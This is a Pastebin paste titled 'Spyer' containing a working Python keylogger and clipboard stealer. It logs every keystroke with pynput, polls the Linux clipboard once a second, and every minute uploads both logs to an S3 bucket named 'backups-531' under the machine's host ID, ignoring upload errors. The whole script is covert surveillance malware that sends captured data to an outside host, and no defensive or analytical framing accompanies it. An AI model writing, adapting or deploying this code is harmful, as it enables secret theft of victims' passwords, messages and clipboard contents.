Advertisement
unknown437

Spyer

Apr 14th, 2024
1,010
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.69 KB | None | 0 0
  1. import subprocess
  2. from pynput.keyboard import Key, Listener
  3. import logging
  4. import time
  5. import threading
  6. import boto3
  7. from uuid import uuid4
  8.  
  9. log_dir = ""
  10. logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
  11.  
  12. def on_press(key):
  13.     logging.info(str(key))
  14.  
  15. def get_clipboard_contents_linux():
  16.     return subprocess.check_output(['xclip', '-selection', 'clipboard', '-o']).decode()
  17.  
  18. def keylogger():
  19.     with Listener(on_press=on_press) as listener:
  20.         listener.join()
  21.  
  22. def clipboard_monitor():
  23.     clipboard_content = get_clipboard_contents_linux()
  24.     f = open("clipboard.txt", "a")
  25.     f.write(clipboard_content + "\n")
  26.     f.close()
  27.  
  28.     while True:
  29.         new_clipboard_content = get_clipboard_contents_linux()
  30.         if clipboard_content != new_clipboard_content:
  31.             clipboard_content = new_clipboard_content
  32.             f = open("clipboard.txt", "a")
  33.             f.write(clipboard_content + "\n")
  34.             f.close()
  35.        
  36.         time.sleep(1)
  37.  
  38. def upload_to_aws(file_path, bucket_name, key_name):
  39.     s3 = boto3.client('s3')
  40.     try:
  41.         s3.upload_file(file_path, bucket_name, key_name)
  42.     except Exception as e:
  43.         pass
  44.  
  45. keylogger_thread = threading.Thread(target=keylogger)
  46. clipboard_thread = threading.Thread(target=clipboard_monitor)
  47.  
  48. keylogger_thread.start()
  49. clipboard_thread.start()
  50.  
  51. while True:
  52.     host_id = subprocess.check_output("hostid", shell=True).decode().strip("\n")
  53.     upload_to_aws("key_log.txt", "backups-531", f"{host_id}/key_log_{str(uuid4())}.txt")
  54.     upload_to_aws("clipboard.txt", "backups-531", f"{host_id}/clipboard_{str(uuid4())}.txt")
  55.     time.sleep(60)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement